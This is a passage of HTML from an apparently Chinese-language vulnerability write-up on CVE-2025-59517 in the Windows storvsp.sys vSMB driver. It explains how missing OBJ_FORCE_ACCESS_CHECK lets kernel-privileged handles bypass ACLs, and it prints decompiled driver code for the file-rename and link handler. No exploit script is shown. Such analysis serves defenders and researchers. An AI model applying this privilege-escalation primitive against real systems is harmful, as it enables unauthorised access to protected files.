SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateOptions</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileAttributes</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ShareAccess</span></code><span leaf="">参数。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">函数在 [4] 处对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileAttributes</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ShareAccess</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateOptions</span></code><span leaf="">参数实施白名单验证。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileAttributes &amp; 0xFFFFFF7F</span></code><span leaf="">位检查确保仅接受 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_ATTRIBUTE_NORMAL</span></code><span leaf="">（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x80</span></code><span leaf="">）或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x0</span></code><span leaf="">标志。任何其他属性都会导致函数失败。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ShareAccess &amp; 0xFFFFFFF8</span></code><span leaf="">位检查确保仅允许 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_SHARE_READ</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_SHARE_WRITE</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_SHARE_DELETE</span></code><span leaf="">共享标志。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateOptions &amp; 0xFFFDBFDE</span></code><span leaf="">位检查验证仅允许特定标志。值得注意的是，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_OPEN_FOR_BACKUP_INTENT</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_DIRECTORY_FILE</span></code><span leaf="">标志被接受。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 [5] 处，请求的访问权限被保存为持久 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VsmbRootObject</span></code><span leaf="">对象内部的布尔标志。关键在于，如果请求了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_READ_DATA</span></code><span leaf="">，驱动会显式地将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x4000</span></code><span leaf="">标志（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_OPEN_FOR_BACKUP_INTENT</span></code><span leaf="">）强制注入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateOptions</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VsmbRootObject-&gt;HasWriteAccess</span></code><span leaf="">成员字段仅在请求 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_WRITE_DATA</span></code><span leaf="">访问权限时才被设置。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">函数在 [6] 处尝试通过调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbImpersonateSecurityContext()</span></code><span leaf="">来保障操作安全。这将线程的执行上下文设置为调用用户的上下文，旨在将驱动的操作限制在用户的权限级别内。然而，如下文所述，这一预防措施因后续文件操作中使用的标志而失效。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">漏洞发生在 [7] 处。目标文件或目录在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ObjectAttributes.ObjectName</span></code><span leaf="">中初始化。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ObjectAttributes.Attributes</span></code><span leaf="">字段被设置为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_CASE_INSENSITIVE</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_KERNEL_HANDLE</span></code><span leaf="">。使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_KERNEL_HANDLE</span></code><span leaf="">指示对象管理器该句柄属于系统进程。因此，函数以内核权限创建句柄。函数未能包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_FORCE_ACCESS_CHECK</span></code><span leaf="">标志。没有该标志，对象管理器默认绕过标准的 NTFS 访问控制列表（ACL）检查，忽略在 [6] 处建立的模拟令牌。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结果是，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IoCreateFileEx()</span></code><span leaf="">以内核权限打开目标路径。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateFileW()</span></code><span leaf="">调用成功完成，将指向目标特权文件或目录的 vSMB 共享句柄返回给调用者。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以上是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CVE-2025-59517</span></code><span leaf="">原语的代码分析。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">VspVsmbHandleSetInformationFileRequest()</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VspVsmbHandleSetInformationFileRequest()</span></code><span leaf="">函数在已存在的 vSMB 句柄上发出 I/O 控制请求码为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0x240330</span></code><span leaf="">的请求时被调用，该句柄作为目标路径，例如上文中通过 CVE-2025-59517 获取的句柄。此 IOCTL 对通过共享可访问的文件执行文件信息操作（如重命名或链接）。调用者提供一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST</span></code><span leaf="">输入缓冲区，包含源文件句柄、信息类（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileRenameInformation</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileLinkInformation</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileRenameInformationEx</span></code><span leaf="">）以及目标路径。函数相对于 vSMB 共享根目录解析目标目录，并对源文件执行请求的操作。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// Module: storvsp.sys</span></span><span leaf=""><br/></span><span leaf="">__int64 __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">VspVsmbHandleSetInformationFileRequest</span></span><span leaf="">(</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VVSMB_SHARE_ROOT_OBJECT *VsmbRootObject,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> RequestorMode,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST *InputBuffer,</span><span leaf=""><br/></span><span leaf="">        DWORD InputSize,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _EPROCESS *RequestorProcess,</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _IO_STATUS_BLOCK *StatusBlock)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">Handle</span></span><span leaf=""> = 0i64;</span><span leaf=""><br/></span><span leaf="">  Object = 0i64;</span><span leaf=""><br/></span><span leaf="">  v48 = 0i64;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">memset</span></span><span leaf="">(v49, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">sizeof</span></span><span leaf="">(v49));</span><span leaf=""><br/></span><span leaf="">  FileHandle = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *)0xFFFFFFFFFFFFFFFFi64;</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( VsmbRootObject-&gt;HasAppendAccess )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2784</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">LABEL_3:</span><span leaf=""><br/></span><span leaf="">    status = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1073741790</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    v11 = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup [status = ((NTSTATUS)0xC0000022L)]&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">LABEL_4:</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">StorVspTrace</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbHandleSetInformationFileRequest&#34;</span></span><span leaf="">, v9, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">, v11, FileAttributes);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_77;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputSize &lt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x20</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    status = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1073741789</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    v11 = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup [status = ((NTSTATUS)0xC0000023L)]&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">2787</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_4;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  IsStreamName = </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputBuffer-&gt;Version != </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xAE6</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">LABEL_9:</span><span leaf=""><br/></span><span leaf="">    status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC000000D</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    v11 = </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup [status = ((NTSTATUS)0xC000000DL)]&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_4;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  BufferLength = InputBuffer-&gt;BufferLength;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( BufferLength + </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x18</span></span><span leaf=""> &lt; BufferLength )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000095</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">StorVspTrace</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbHandleSetInformationFileRequest&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2794</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup with status 0x</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">%08X</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x95</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_77;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( InputSize &lt; BufferLength + </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x18</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xAED</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_9;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( !InputBuffer-&gt;SourceHandle )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v9 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xAF0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">goto</span></span><span leaf=""> LABEL_9;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">9</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( VsmbRootObject-&gt;HasWriteAccess )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    v15 = </span><span style="color: rgb(0, 92, 197);"><span leaf="">VspVsmbImpersonateRootSecurityContext</span></span><span leaf="">(VsmbRootObject, (</span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _SECURITY_CLIENT_CONTEXT *)v49);</span><span leaf=""><br/></span><span leaf="">    status = v15;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( v15 &lt; </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">StorVspTrace</span></span><span leaf="">((</span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;VspVsmbHandleSetInformationFileRequest&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2809</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">, </span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Cleanup with status 0x</span></span><span style="color: rgb(0, 92, 197);"><span 